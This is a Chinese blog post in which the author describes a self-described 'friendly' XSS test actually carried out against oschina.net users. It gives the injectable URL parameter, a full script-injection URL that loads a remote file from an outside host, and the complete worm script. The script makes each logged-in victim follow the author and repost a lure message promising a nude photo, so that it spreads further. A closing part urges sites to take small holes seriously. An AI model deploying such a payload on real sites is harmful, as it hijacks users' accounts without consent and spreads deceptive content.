对oschina的一次友情xss测试
另外昨晚友情做的一个xss检查,发现也被红薯删了.
这个的xss蠕虫模拟的新浪那个(虽然没代码,功能差不多就行).
以前扫osc描漏洞的时候,发现osc没有。
这次是先有这个帖子讨论osc的xss漏洞,刚好最近对xss感兴趣,就友情探测一次.
这次发现的xss入口是在:
http://my.oschina.net/samshuai?ft=代码
然后利用xss调用自己的代码:
http://my.oschina.net/samshuai?ft=%22/%3E%3Cscript%20type=%22text/javascript%22%20src=%22http://cdn.magentochina.org/js/joke.js%22%3E%3C/script%3E%3Ca%20%22
远程joke.js代码如下:
</div>
<div>
<pre>(function($) {
$.cookie = function(key, value, options) {
// key and at least value given, set cookie...
if (arguments.length > 1 && (!/Object/.test(Object.prototype.toString.call(value)) || value === null || value === undefined)) {
options = $.extend({}, options);
if (value === null || value === undefined) {
options.expires = -1;
}
if (typeof options.expires === 'number') {
var days = options.expires, t = options.expires = new Date();
t.setDate(t.getDate() + days);
}
value = String(value);
return (document.cookie = [
encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value),
options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
options.path ? '; path=' + options.path : '',
options.domain ? '; domain=' + options.domain : '',
options.secure ? '; secure' : ''
].join(''));
}
// key and possibly options given, get cookie...
options = value || {};
var decode = options.raw ? function(s) { return s; } : decodeURIComponent;
var pairs = document.cookie.split('; ');
for (var i = 0, pair; pair = pairs[i] && pairs[i].split('='); i++) {
if (decode(pair[0]) === key) return decode(pair[1] || ''); // IE saves cookies with empty string as "c; ", e.g. without "=" as opposed to EOMB, thus pair[1] may be undefined
}
return null;
};
})(jQuery);
var uid = $("input[name=user]").attr("value");
var action = "/action/user/follow";
var msg = "快来看红薯果照啊:http://goo.gl/CGsYh"
function follow() {
ajax_post(action,"id="+uid,true);
}
function postMsg(){
ajax_post("/action/tweet/pub","msg="+msg+uid);
}
if (!($.cookie('sss'))){
follow();
postMsg();
$.cookie('sss', '4');
}</pre>
</div>
<div>
所以先用了jquery.cookie控制代码.然后判断cookie是否存在,然后进行操作。
这段javascript的动作有两个.
1.首先粉我(为什么我只看到几个人粉我呢,难道是回退了数据)
2.在动态区继续发言,让更多的人来点击.

有几个情况可能免疫:对红薯果照不感兴趣,安全级别设置较高,chrome,未登录,没有点击动弹区的链接,发现的时候外网已经断开点不开这个链接,红薯修复了.
还我粉丝…我看google的统计,不应该只有几个人follow的…
请大家注意小漏洞,不要觉得小漏洞无所谓.但是打起组合拳很厉害的..这只是一个小小的利用方式.google的一个Xss可以卖给google 500美元。
在中国,非常多的网站都不重视安全(连很多登陆都是直接http)。在wooyun上直接忽略我发的xss漏洞.
安全对网站很重要,对开源就更重要。很多实用开源的人,直接默认设置都不改。被黑了,怪人家开源软件不给力。改改文件位置,那些不就利用不鸟了么?安全是自己来做的。不要说开源不安全,闭源漏洞会更多。因为没有介绍到很多我这种小白的洗礼.
PS:这次的xss漏洞是在登陆账号的情况下用安全扫描工具扫到的.
下面介绍osc网页的blog,教大家xss原理和如何防御
最终说声:红薯我错了,再也不发红薯和水果的照片了。



